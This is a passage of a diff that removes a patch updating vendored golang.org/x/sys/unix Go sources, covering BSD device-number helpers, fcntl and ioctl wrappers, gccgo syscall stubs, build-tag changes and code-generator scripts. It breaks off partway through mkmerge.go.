-diff --git a/vendor/golang.org/x/sys/unix/dev_freebsd.go b/vendor/golang.org/x/sys/unix/dev_freebsd.go
-new file mode 100644
-index 00000000..eba3b4bd
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_freebsd.go
-@@ -0,0 +1,30 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in FreeBSD's sys/types.h header.
-+//
-+// The information below is extracted and adapted from sys/types.h:
-+//
-+// Minor gives a cookie instead of an index since in order to avoid changing the
-+// meanings of bits 0-15 or wasting time and space shifting bits 16-31 for
-+// devices that don't use them.
-+
-+package unix
-+
-+// Major returns the major component of a FreeBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev >> 8) & 0xff)
-+}
-+
-+// Minor returns the minor component of a FreeBSD device number.
-+func Minor(dev uint64) uint32 {
-+ return uint32(dev & 0xffff00ff)
-+}
-+
-+// Mkdev returns a FreeBSD device number generated from the given major and
-+// minor components.
-+func Mkdev(major, minor uint32) uint64 {
-+ return (uint64(major) << 8) | uint64(minor)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_linux.go b/vendor/golang.org/x/sys/unix/dev_linux.go
-index c902c39e..d165d6f3 100644
---- a/vendor/golang.org/x/sys/unix/dev_linux.go
-+++ b/vendor/golang.org/x/sys/unix/dev_linux.go
-@@ -34,9 +34,9 @@ func Minor(dev uint64) uint32 {
- // Mkdev returns a Linux device number generated from the given major and minor
- // components.
- func Mkdev(major, minor uint32) uint64 {
-- dev := uint64((major & 0x00000fff) << 8)
-- dev |= uint64((major & 0xfffff000) << 32)
-- dev |= uint64((minor & 0x000000ff) << 0)
-- dev |= uint64((minor & 0xffffff00) << 12)
-+ dev := (uint64(major) & 0x00000fff) << 8
-+ dev |= (uint64(major) & 0xfffff000) << 32
-+ dev |= (uint64(minor) & 0x000000ff) << 0
-+ dev |= (uint64(minor) & 0xffffff00) << 12
- return dev
- }
-diff --git a/vendor/golang.org/x/sys/unix/dev_netbsd.go b/vendor/golang.org/x/sys/unix/dev_netbsd.go
-new file mode 100644
-index 00000000..b4a203d0
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_netbsd.go
-@@ -0,0 +1,29 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in NetBSD's sys/types.h header.
-+
-+package unix
-+
-+// Major returns the major component of a NetBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev & 0x000fff00) >> 8)
-+}
-+
-+// Minor returns the minor component of a NetBSD device number.
-+func Minor(dev uint64) uint32 {
-+ minor := uint32((dev & 0x000000ff) >> 0)
-+ minor |= uint32((dev & 0xfff00000) >> 12)
-+ return minor
-+}
-+
-+// Mkdev returns a NetBSD device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ dev := (uint64(major) << 8) & 0x000fff00
-+ dev |= (uint64(minor) << 12) & 0xfff00000
-+ dev |= (uint64(minor) << 0) & 0x000000ff
-+ return dev
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_openbsd.go b/vendor/golang.org/x/sys/unix/dev_openbsd.go
-new file mode 100644
-index 00000000..f3430c42
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_openbsd.go
-@@ -0,0 +1,29 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in OpenBSD's sys/types.h header.
-+
-+package unix
-+
-+// Major returns the major component of an OpenBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev & 0x0000ff00) >> 8)
-+}
-+
-+// Minor returns the minor component of an OpenBSD device number.
-+func Minor(dev uint64) uint32 {
-+ minor := uint32((dev & 0x000000ff) >> 0)
-+ minor |= uint32((dev & 0xffff0000) >> 8)
-+ return minor
-+}
-+
-+// Mkdev returns an OpenBSD device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ dev := (uint64(major) << 8) & 0x0000ff00
-+ dev |= (uint64(minor) << 8) & 0xffff0000
-+ dev |= (uint64(minor) << 0) & 0x000000ff
-+ return dev
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dirent.go b/vendor/golang.org/x/sys/unix/dirent.go
-index bd475812..304016b6 100644
---- a/vendor/golang.org/x/sys/unix/dirent.go
-+++ b/vendor/golang.org/x/sys/unix/dirent.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux nacl netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/endian_little.go b/vendor/golang.org/x/sys/unix/endian_little.go
-index 085df2d8..bcdb5d30 100644
---- a/vendor/golang.org/x/sys/unix/endian_little.go
-+++ b/vendor/golang.org/x/sys/unix/endian_little.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
- //
--// +build 386 amd64 amd64p32 arm arm64 ppc64le mipsle mips64le
-+// +build 386 amd64 amd64p32 arm arm64 ppc64le mipsle mips64le riscv64
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/env_unix.go b/vendor/golang.org/x/sys/unix/env_unix.go
-index 45e281a0..84178b0a 100644
---- a/vendor/golang.org/x/sys/unix/env_unix.go
-+++ b/vendor/golang.org/x/sys/unix/env_unix.go
-@@ -1,8 +1,8 @@
--// Copyright 2010 The Go Authors. All rights reserved.
-+// Copyright 2010 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- // Unix environment variables.
-
-@@ -25,3 +25,7 @@ func Clearenv() {
- func Environ() []string {
- return syscall.Environ()
- }
-+
-+func Unsetenv(key string) error {
-+ return syscall.Unsetenv(key)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/env_unset.go b/vendor/golang.org/x/sys/unix/env_unset.go
-deleted file mode 100644
-index 92222625..00000000
---- a/vendor/golang.org/x/sys/unix/env_unset.go
-+++ /dev/null
-@@ -1,14 +0,0 @@
--// Copyright 2014 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build go1.4
--
--package unix
--
--import "syscall"
--
--func Unsetenv(key string) error {
-- // This was added in Go 1.4.
-- return syscall.Unsetenv(key)
--}
-diff --git a/vendor/golang.org/x/sys/unix/errors_freebsd_386.go b/vendor/golang.org/x/sys/unix/errors_freebsd_386.go
-index c56bc8b0..761db66e 100644
---- a/vendor/golang.org/x/sys/unix/errors_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/errors_freebsd_386.go
-@@ -8,6 +8,7 @@
- package unix
-
- const (
-+ DLT_HHDLC = 0x79
- IFF_SMART = 0x20
- IFT_1822 = 0x2
- IFT_A12MPPSWITCH = 0x82
-@@ -210,13 +211,18 @@ const (
- IFT_XETHER = 0x1a
- IPPROTO_MAXID = 0x34
- IPV6_FAITH = 0x1d
-+ IPV6_MIN_MEMBERSHIPS = 0x1f
- IP_FAITH = 0x16
-+ IP_MAX_SOURCE_FILTER = 0x400
-+ IP_MIN_MEMBERSHIPS = 0x1f
- MAP_NORESERVE = 0x40
- MAP_RENAME = 0x20
- NET_RT_MAXID = 0x6
- RTF_PRCLONING = 0x10000
- RTM_OLDADD = 0x9
- RTM_OLDDEL = 0xa
-+ RT_CACHING_CONTEXT = 0x1
-+ RT_NORTREF = 0x2
- SIOCADDRT = 0x8030720a
- SIOCALIFADDR = 0x8118691b
- SIOCDELRT = 0x8030720b
-diff --git a/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
-index 3e977117..070f44b6 100644
---- a/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
-@@ -8,6 +8,7 @@
- package unix
-
- const (
-+ DLT_HHDLC = 0x79
- IFF_SMART = 0x20
- IFT_1822 = 0x2
- IFT_A12MPPSWITCH = 0x82
-@@ -210,13 +211,18 @@ const (
- IFT_XETHER = 0x1a
- IPPROTO_MAXID = 0x34
- IPV6_FAITH = 0x1d
-+ IPV6_MIN_MEMBERSHIPS = 0x1f
- IP_FAITH = 0x16
-+ IP_MAX_SOURCE_FILTER = 0x400
-+ IP_MIN_MEMBERSHIPS = 0x1f
- MAP_NORESERVE = 0x40
- MAP_RENAME = 0x20
- NET_RT_MAXID = 0x6
- RTF_PRCLONING = 0x10000
- RTM_OLDADD = 0x9
- RTM_OLDDEL = 0xa
-+ RT_CACHING_CONTEXT = 0x1
-+ RT_NORTREF = 0x2
- SIOCADDRT = 0x8040720a
- SIOCALIFADDR = 0x8118691b
- SIOCDELRT = 0x8040720b
-diff --git a/vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go b/vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
-new file mode 100644
-index 00000000..946dcf3f
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
-@@ -0,0 +1,17 @@
-+// Copyright 2020 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Constants that were deprecated or moved to enums in the FreeBSD headers. Keep
-+// them here for backwards compatibility.
-+
-+package unix
-+
-+const (
-+ DLT_HHDLC = 0x79
-+ IPV6_MIN_MEMBERSHIPS = 0x1f
-+ IP_MAX_SOURCE_FILTER = 0x400
-+ IP_MIN_MEMBERSHIPS = 0x1f
-+ RT_CACHING_CONTEXT = 0x1
-+ RT_NORTREF = 0x2
-+)
-diff --git a/vendor/golang.org/x/sys/unix/flock.go b/vendor/golang.org/x/sys/unix/fcntl.go
-similarity index 54%
-rename from vendor/golang.org/x/sys/unix/flock.go
-rename to vendor/golang.org/x/sys/unix/fcntl.go
-index 2994ce75..4dc53486 100644
---- a/vendor/golang.org/x/sys/unix/flock.go
-+++ b/vendor/golang.org/x/sys/unix/fcntl.go
-@@ -2,16 +2,30 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd
-+// +build dragonfly freebsd linux netbsd openbsd
-
- package unix
-
- import "unsafe"
-
- // fcntl64Syscall is usually SYS_FCNTL, but is overridden on 32-bit Linux
--// systems by flock_linux_32bit.go to be SYS_FCNTL64.
-+// systems by fcntl_linux_32bit.go to be SYS_FCNTL64.
- var fcntl64Syscall uintptr = SYS_FCNTL
-
-+func fcntl(fd int, cmd, arg int) (int, error) {
-+ valptr, _, errno := Syscall(fcntl64Syscall, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ var err error
-+ if errno != 0 {
-+ err = errno
-+ }
-+ return int(valptr), err
-+}
-+
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
-+ return fcntl(int(fd), cmd, arg)
-+}
-+
- // FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
- func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
- _, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(unsafe.Pointer(lk)))
-diff --git a/vendor/golang.org/x/sys/unix/fcntl_darwin.go b/vendor/golang.org/x/sys/unix/fcntl_darwin.go
-new file mode 100644
-index 00000000..5868a4a4
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/fcntl_darwin.go
-@@ -0,0 +1,18 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+import "unsafe"
-+
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
-+ return fcntl(int(fd), cmd, arg)
-+}
-+
-+// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
-+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
-+ _, err := fcntl(int(fd), cmd, int(uintptr(unsafe.Pointer(lk))))
-+ return err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/flock_linux_32bit.go b/vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go
-similarity index 100%
-rename from vendor/golang.org/x/sys/unix/flock_linux_32bit.go
-rename to vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go
-diff --git a/vendor/golang.org/x/sys/unix/fdset.go b/vendor/golang.org/x/sys/unix/fdset.go
-new file mode 100644
-index 00000000..b27be0a0
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/fdset.go
-@@ -0,0 +1,29 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+// Set adds fd to the set fds.
-+func (fds *FdSet) Set(fd int) {
-+ fds.Bits[fd/NFDBITS] |= (1 << (uintptr(fd) % NFDBITS))
-+}
-+
-+// Clear removes fd from the set fds.
-+func (fds *FdSet) Clear(fd int) {
-+ fds.Bits[fd/NFDBITS] &^= (1 << (uintptr(fd) % NFDBITS))
-+}
-+
-+// IsSet returns whether fd is in the set fds.
-+func (fds *FdSet) IsSet(fd int) bool {
-+ return fds.Bits[fd/NFDBITS]&(1<<(uintptr(fd)%NFDBITS)) != 0
-+}
-+
-+// Zero clears the set fds.
-+func (fds *FdSet) Zero() {
-+ for i := range fds.Bits {
-+ fds.Bits[i] = 0
-+ }
-+}
-diff --git a/vendor/golang.org/x/sys/unix/file_unix.go b/vendor/golang.org/x/sys/unix/file_unix.go
-deleted file mode 100644
-index 47f6a83f..00000000
---- a/vendor/golang.org/x/sys/unix/file_unix.go
-+++ /dev/null
-@@ -1,27 +0,0 @@
--// Copyright 2017 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--package unix
--
--import (
-- "os"
-- "syscall"
--)
--
--// FIXME: unexported function from os
--// syscallMode returns the syscall-specific mode bits from Go's portable mode bits.
--func syscallMode(i os.FileMode) (o uint32) {
-- o |= uint32(i.Perm())
-- if i&os.ModeSetuid != 0 {
-- o |= syscall.S_ISUID
-- }
-- if i&os.ModeSetgid != 0 {
-- o |= syscall.S_ISGID
-- }
-- if i&os.ModeSticky != 0 {
-- o |= syscall.S_ISVTX
-- }
-- // No mapping for Go's ModeTemporary (plan9 only).
-- return
--}
-diff --git a/vendor/golang.org/x/sys/unix/gccgo.go b/vendor/golang.org/x/sys/unix/gccgo.go
-index 94c82321..cd6f5a61 100644
---- a/vendor/golang.org/x/sys/unix/gccgo.go
-+++ b/vendor/golang.org/x/sys/unix/gccgo.go
-@@ -1,19 +1,30 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2015 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
- // +build gccgo
-+// +build !aix
-
- package unix
-
- import "syscall"
-
--// We can't use the gc-syntax .s files for gccgo. On the plus side
-+// We can't use the gc-syntax .s files for gccgo. On the plus side
- // much of the functionality can be written directly in Go.
-
-+//extern gccgoRealSyscallNoError
-+func realSyscallNoError(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r uintptr)
-+
- //extern gccgoRealSyscall
- func realSyscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r, errno uintptr)
-
-+func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
-+ syscall.Entersyscall()
-+ r := realSyscallNoError(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
-+ syscall.Exitsyscall()
-+ return r, 0
-+}
-+
- func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
- syscall.Entersyscall()
- r, errno := realSyscall(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
-@@ -35,6 +46,11 @@ func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- return r, 0, syscall.Errno(errno)
- }
-
-+func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
-+ r := realSyscallNoError(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
-+ return r, 0
-+}
-+
- func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
- r, errno := realSyscall(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
- return r, 0, syscall.Errno(errno)
-diff --git a/vendor/golang.org/x/sys/unix/gccgo_c.c b/vendor/golang.org/x/sys/unix/gccgo_c.c
-index 07f6be03..c44730c5 100644
---- a/vendor/golang.org/x/sys/unix/gccgo_c.c
-+++ b/vendor/golang.org/x/sys/unix/gccgo_c.c
-@@ -1,8 +1,9 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2015 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
- // +build gccgo
-+// +build !aix
-
- #include <errno.h>
- #include <stdint.h>
-@@ -31,11 +32,8 @@ gccgoRealSyscall(uintptr_t trap, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintp
- return r;
- }
-
--// Define the use function in C so that it is not inlined.
--
--extern void use(void *) __asm__ (GOSYM_PREFIX GOPKGPATH ".use") __attribute__((noinline));
--
--void
--use(void *p __attribute__ ((unused)))
-+uintptr_t
-+gccgoRealSyscallNoError(uintptr_t trap, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4, uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8, uintptr_t a9)
- {
-+ return syscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9);
- }
-diff --git a/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go b/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
-index bffe1a77..251a977a 100644
---- a/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
-@@ -1,4 +1,4 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2015 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
-diff --git a/vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go b/vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go
-deleted file mode 100644
-index 56332692..00000000
---- a/vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go
-+++ /dev/null
-@@ -1,20 +0,0 @@
--// Copyright 2016 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build gccgo,linux,sparc64
--
--package unix
--
--import "syscall"
--
--//extern sysconf
--func realSysconf(name int) int64
--
--func sysconf(name int) (n int64, err syscall.Errno) {
-- r := realSysconf(name)
-- if r < 0 {
-- return 0, syscall.GetErrno()
-- }
-- return r, 0
--}
-diff --git a/vendor/golang.org/x/sys/unix/ioctl.go b/vendor/golang.org/x/sys/unix/ioctl.go
-new file mode 100644
-index 00000000..3559e5dc
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ioctl.go
-@@ -0,0 +1,65 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+import (
-+ "runtime"
-+ "unsafe"
-+)
-+
-+// ioctl itself should not be exposed directly, but additional get/set
-+// functions for specific types are permissible.
-+
-+// IoctlSetInt performs an ioctl operation which sets an integer value
-+// on fd, using the specified request number.
-+func IoctlSetInt(fd int, req uint, value int) error {
-+ return ioctl(fd, req, uintptr(value))
-+}
-+
-+// IoctlSetWinsize performs an ioctl on fd with a *Winsize argument.
-+//
-+// To change fd's window size, the req argument should be TIOCSWINSZ.
-+func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-+ // TODO: if we get the chance, remove the req parameter and
-+ // hardcode TIOCSWINSZ.
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+ runtime.KeepAlive(value)
-+ return err
-+}
-+
-+// IoctlSetTermios performs an ioctl on fd with a *Termios.
-+//
-+// The req value will usually be TCSETA or TIOCSETA.
-+func IoctlSetTermios(fd int, req uint, value *Termios) error {
-+ // TODO: if we get the chance, remove the req parameter.
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+ runtime.KeepAlive(value)
-+ return err
-+}
-+
-+// IoctlGetInt performs an ioctl operation which gets an integer value
-+// from fd, using the specified request number.
-+//
-+// A few ioctl requests use the return value as an output parameter;
-+// for those, IoctlRetInt should be used instead of this function.
-+func IoctlGetInt(fd int, req uint) (int, error) {
-+ var value int
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ return value, err
-+}
-+
-+func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-+ var value Winsize
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ return &value, err
-+}
-+
-+func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-+ var value Termios
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ return &value, err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/mkasm_darwin.go b/vendor/golang.org/x/sys/unix/mkasm_darwin.go
-new file mode 100644
-index 00000000..6f7bb6ed
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mkasm_darwin.go
-@@ -0,0 +1,78 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// mkasm_darwin.go generates assembly trampolines to call libSystem routines from Go.
-+//This program must be run after mksyscall.go.
-+package main
-+
-+import (
-+ "bytes"
-+ "fmt"
-+ "io/ioutil"
-+ "log"
-+ "os"
-+ "strings"
-+)
-+
-+func writeASMFile(in string, fileName string, buildTags string) {
-+ trampolines := map[string]bool{}
-+
-+ var out bytes.Buffer
-+
-+ fmt.Fprintf(&out, "// go run mkasm_darwin.go %s\n", strings.Join(os.Args[1:], " "))
-+ fmt.Fprintf(&out, "// Code generated by the command above; DO NOT EDIT.\n")
-+ fmt.Fprintf(&out, "\n")
-+ fmt.Fprintf(&out, "// +build %s\n", buildTags)
-+ fmt.Fprintf(&out, "\n")
-+ fmt.Fprintf(&out, "#include \"textflag.h\"\n")
-+ for _, line := range strings.Split(in, "\n") {
-+ if !strings.HasPrefix(line, "func ") || !strings.HasSuffix(line, "_trampoline()") {
-+ continue
-+ }
-+ fn := line[5 : len(line)-13]
-+ if !trampolines[fn] {
-+ trampolines[fn] = true
-+ fmt.Fprintf(&out, "TEXT ·%s_trampoline(SB),NOSPLIT,$0-0\n", fn)
-+ fmt.Fprintf(&out, "\tJMP\t%s(SB)\n", fn)
-+ }
-+ }
-+ err := ioutil.WriteFile(fileName, out.Bytes(), 0644)
-+ if err != nil {
-+ log.Fatalf("can't write %s: %s", fileName, err)
-+ }
-+}
-+
-+func main() {
-+ in1, err := ioutil.ReadFile("syscall_darwin.go")
-+ if err != nil {
-+ log.Fatalf("can't open syscall_darwin.go: %s", err)
-+ }
-+ arch := os.Args[1]
-+ in2, err := ioutil.ReadFile(fmt.Sprintf("syscall_darwin_%s.go", arch))
-+ if err != nil {
-+ log.Fatalf("can't open syscall_darwin_%s.go: %s", arch, err)
-+ }
-+ in3, err := ioutil.ReadFile(fmt.Sprintf("zsyscall_darwin_%s.go", arch))
-+ if err != nil {
-+ log.Fatalf("can't open zsyscall_darwin_%s.go: %s", arch, err)
-+ }
-+ in := string(in1) + string(in2) + string(in3)
-+
-+ writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.s", arch), "go1.12")
-+
-+ in1, err = ioutil.ReadFile("syscall_darwin.1_13.go")
-+ if err != nil {
-+ log.Fatalf("can't open syscall_darwin.1_13.go: %s", err)
-+ }
-+ in2, err = ioutil.ReadFile(fmt.Sprintf("zsyscall_darwin_%s.1_13.go", arch))
-+ if err != nil {
-+ log.Fatalf("can't open zsyscall_darwin_%s.1_13.go: %s", arch, err)
-+ }
-+
-+ in = string(in1) + string(in2)
-+
-+ writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.1_13.s", arch), "go1.13")
-+}
-diff --git a/vendor/golang.org/x/sys/unix/mkmerge.go b/vendor/golang.org/x/sys/unix/mkmerge.go
-new file mode 100644
-index 00000000..8bde4501
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mkmerge.go
-@@ -0,0 +1,521 @@
-+// Copyright 2020 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// mkmerge.go parses generated source files and merges common
-+// consts, funcs, and types into a common source file, per GOOS.
-+//
-+// Usage:
-+// $ go run mkmerge.go -out MERGED FILE [FILE ...]
-+//
-+// Example:
-+// # Remove all common consts, funcs, and types from zerrors_linux_*.go
-+// # and write the common code into zerrors_linux.go
-+// $ go run mkmerge.go -out zerrors_linux.go zerrors_linux_*.go
-+//
-+// mkmerge.go performs the merge in the following steps:
-+// 1. Construct the set of common code that is idential in all
-+// architecture-specific files.
-+// 2. Write this common code to the merged file.
-+// 3. Remove the common code from all architecture-specific files.
-+package main
-+
-+import (
-+ "bufio"
-+ "bytes"
-+ "flag"
-+ "fmt"
-+ "go/ast"
-+ "go/format"
-+ "go/parser"
-+ "go/token"
-+ "io"
-+ "io/ioutil"
-+ "log"
-+ "os"
-+ "path"
-+ "path/filepath"
-+ "regexp"
-+ "strconv"
-+ "strings"
-+)
-+
-+const validGOOS = "aix|darwin|dragonfly|freebsd|linux|netbsd|openbsd|solaris"
-+
-+// getValidGOOS returns GOOS, true if filename ends with a valid "_GOOS.go"
-+func getValidGOOS(filename string) (string, bool) {
-+ matches := regexp.MustCompile(`_(` + validGOOS + `)\.go$`).FindStringSubmatch(filename)
-+ if len(matches) != 2 {
-+ return "", false
-+ }
-+ return matches[1], true
-+}
-+
-+// codeElem represents an ast.Decl in a comparable way.
-+type codeElem struct {
-+ tok token.Token // e.g. token.CONST, token.TYPE, or token.FUNC
-+ src string // the declaration formatted as source code
-+}
-+
-+// newCodeElem returns a codeElem based on tok and node, or an error is returned.
-+func newCodeElem(tok token.Token, node ast.Node) (codeElem, error) {
-+ var b strings.Builder
-+ err := format.Node(&b, token.NewFileSet(), node)
-+ if err != nil {
-+ return codeElem{}, err
-+ }
-+ return codeElem{tok, b.String()}, nil
-+}
-+
-+// codeSet is a set of codeElems
-+type codeSet struct {
-+ set map[codeElem]bool // true for all codeElems in the set
-+}
-+
-+// newCodeSet returns a new codeSet
-+func newCodeSet() *codeSet { return &codeSet{make(map[codeElem]bool)} }
-+
-+// add adds elem to c
-+func (c *codeSet) add(elem codeElem) { c.set[elem] = true }
-+
-+// has returns true if elem is in c
-+func (c *codeSet) has(elem codeElem) bool { return c.set[elem] }
-+
-+// isEmpty returns true if the set is empty
-+func (c *codeSet) isEmpty() bool { return len(c.set) == 0 }
-+
-+// intersection returns a new set which is the intersection of c and a
-+func (c *codeSet) intersection(a *codeSet) *codeSet {
-+ res := newCodeSet()
-+
-+ for elem := range c.set {
-+ if a.has(elem) {
-+ res.add(elem)
-+ }
-+ }
-+ return res
-+}
-+
-+// keepCommon is a filterFn for filtering the merged file with common declarations.
-+func (c *codeSet) keepCommon(elem codeElem) bool {
-+ switch elem.tok {
-+ case token.VAR:
-+ // Remove all vars from the merged file
-+ return false
-+ case token.CONST, token.TYPE, token.FUNC, token.COMMENT:
-+ // Remove arch-specific consts, types, functions, and file-level comments from the merged file
-+ return c.has(elem)
-+ case token.IMPORT:
-+ // Keep imports, they are handled by filterImports
-+ return true
-+ }
-+
-+ log.Fatalf("keepCommon: invalid elem %v", elem)
-+ return true
-+}
-+
-+// keepArchSpecific is a filterFn for filtering the GOARC-specific files.
-+func (c *codeSet) keepArchSpecific(elem codeElem) bool {
-+ switch elem.tok {
-+ case token.CONST, token.TYPE, token.FUNC:
-+ // Remove common consts, types, or functions from the arch-specific file
-+ return !c.has(elem)
-+ }
-+ return true
-+}
-+
-+// srcFile represents a source file
-+type srcFile struct {
-+ name string
-+ src []byte
-+}
-+
-+// filterFn is a helper for filter
-+type filterFn func(codeElem) bool
-+
-+// filter parses and filters Go source code from src, removing top
-+// level declarations using keep as predicate.
-+// For src parameter, please see docs for parser.ParseFile.
-+func filter(src interface{}, keep filterFn) ([]byte, error) {
-+ // Parse the src into an ast
-+ fset := token.NewFileSet()
-+ f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
-+ if err != nil {
-+ return nil, err
-+ }
-+ cmap := ast.NewCommentMap(fset, f, f.Comments)
-+
-+ // Group const/type specs on adjacent lines
-+ var groups specGroups = make(map[string]int)
-+ var groupID int
-+
-+ decls := f.Decls
-+ f.Decls = f.Decls[:0]
-+ for _, decl := range decls {
-+ switch decl := decl.(type) {
-+ case *ast.GenDecl:
-+ // Filter imports, consts, types, vars
